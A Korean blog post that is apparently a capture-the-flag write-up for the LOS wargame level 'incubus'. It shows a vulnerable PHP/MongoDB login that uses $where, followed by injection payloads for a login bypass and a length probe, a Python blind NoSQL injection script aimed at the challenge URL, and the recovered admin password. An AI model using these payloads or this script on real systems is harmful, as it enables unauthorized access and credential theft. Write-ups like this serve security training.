Post

LOS Lv.48 incubus

incubus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query : {"$where":"function(){return obj.id==''&&obj.pw=='';}"}

<?php
  include "./config.php";
  login_chk();
  $db = mongodb_connect();
  if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
  echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = array("id" => "admin");
  $result = mongodb_fetch_array($db->prob_incubus->find($query));
  if($result['pw'] === $_GET['pw']) solve("incubus");
  highlight_file(__FILE__);
?>

Solution

1
$where : JavaScript 표현식에 만족하는 documents를 조회

online tool : https://mongoplayground.net/
아래처럼 설정하고 테스트 함.

1
2
3
4
5
6
7
8
9
10
[
  {
    "id": "admin",
    "pw": "admin@secret"
  },
  {
    "id": "guest",
    "pw": "guest@secret"
  }
]

먼저 아이디, 비밀번호 입력해주면 잘 나옴.

1
2
3
db.collection.find({
  "$where": "function(){return obj.id=='admin'&&obj.pw=='admin@secret';}"
})
1
2
3
4
5
6
7
[
  {
    "_id": ObjectId("5a934e000102030405000000"),
    "id": "admin",
    "pw": "admin@secret"
  }
]

이제 비밀번호를 모르는 상황에서 로그인 하려면 아래와 같음.

1
2
3
db.collection.find({
  "$where": "function(){return obj.id==''&&obj.pw==''||obj.id=='admin';}"
})

이제 실제 사이트에서 적용해보면 아래와 같음.

1
?pw='||obj.id=='admin

이제 문제에서 요구하는 비밀번호를 알아내야 함. 먼저 비밀번호 길이를 알아낼꺼임.

1
2
3
db.collection.find({
  "$where": "function(){return obj.id==''&&obj.pw==''||obj.id=='admin'&&obj.pw.length>'1';}"
})

이제 적용해보면 아래와 같음.

1
2
3
4
?pw='||obj.id=='admin'%26%26obj.pw.length>'1
?pw='||obj.id=='admin'%26%26obj.pw.length=='8

비밀번호 길이는 8임.

비밀번호 값을 알아내야 하는데 ‘(‘가 필터링 되어 있어서 js String methods 사용 불가.
근데 obj.pw는 string이므로 배열형태로 값을 알아낼 수 있음.

1
2
3
db.collection.find({
  "$where": "function(){return obj.id==''&&obj.pw==''||obj.id=='admin'&&obj.pw[0]=='a';}"
})

이제 적용해보면 아래와 같음.

1
2
3
4
?pw='||obj.id=='admin'%26%26obj.pw[0]>'0
?pw='||obj.id=='admin'%26%26obj.pw[0]=='b

-> pw 첫 글자는 b라는 걸 알아냄! 이제 Blind NOSQLi를 하면 됨.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string

url='https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'}

check="0123456789"+string.ascii_lowercase
pw=''

for i in range(0,9) :
    for j in check :
        payload={'pw' : "'||obj.id=='admin'&&obj.pw["+str(i)+"]=='"+j}
        res=requests.get(url, headers=headers, params=payload, cookies=cookies)
        if "<h2>Hello admin</h2>" in res.text:
            pw+=j
            print("pw : "+pw)  # b47822ea
            break
             
print("INCUBUS Clear!")
This post is licensed under CC BY 4.0 by the author.